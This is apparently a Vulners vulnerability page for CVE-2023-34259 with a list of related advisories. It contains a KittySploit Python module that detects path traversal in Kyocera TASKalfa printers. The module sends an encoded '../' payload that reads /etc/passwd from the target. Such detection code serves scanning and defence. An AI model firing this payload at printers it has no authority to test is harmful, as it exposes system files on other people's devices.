Kyocera TASKalfa printer - Path Traversal Detection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2023-34259 | 3 Nov 202304:15 | – | attackerkb | |
| CVE-2023-34259 | 3 Nov 202306:23 | – | circl | |
| Kyocera Command Center RX 路径遍历漏洞 | 27 Jul 202300:00 | – | cnnvd | |
| CVE-2023-34259 | 3 Nov 202300:00 | – | cve | |
| CVE-2023-34259 | 3 Nov 202300:00 | – | cvelist | |
| Multiple vulnerabilities in Command Center RX (CCRX) of Kyocera Document Solutions MFPs and printers | 28 Jul 202309:24 | – | jvn | |
| Kyocera TASKalfa printer - Path Traversal | 15 Oct 202602:05 | – | nuclei | |
| CVE-2023-34259 | 3 Nov 202304:15 | – | nvd | |
| Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check | 22 Jul 202100:00 | – | openvas | |
| CVE-2023-34259 | 3 Nov 202304:15 | – | osv |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CCRX has a Path Traversal vulnerability."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Kyocera TASKalfa printer - Path Traversal Detection',
'description': 'CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'packetstorm', 'seclists', 'kyocera', 'lfi', 'printer', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://sec-consult.com/vulnerability-lab/advisory/path-traversal-bypass-denial-of-service-in-kyocera-printer/',
'https://www.kyoceradocumentsolutions.com/en/our-business/security/information/2023-07-14.html',
'https://packetstormsecurity.com/files/173397/Kyocera-TASKalfa-4053ci-2VG_S000.002.561-Path-Traversal-Denial-Of-Service.html',
'https://sec-consult.com/vulnerability-lab/',
'https://seclists.org/fulldisclosure/2023/Jul/15',
],
'cve': 'CVE-2023-34259',
}
def run(self):
r = self.http_request(method="GET", path='/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
server = r.headers.get("Server") or r.headers.get("server") or ""
server_any = ('KM-MFP',)
body_regexes = ('root:.*:0:0',)
if (any(m in server for m in server_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='medium',
reason="Kyocera TASKalfa printer - Path Traversal detected",
path='/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.14.9
EPSS0.60482
SSVC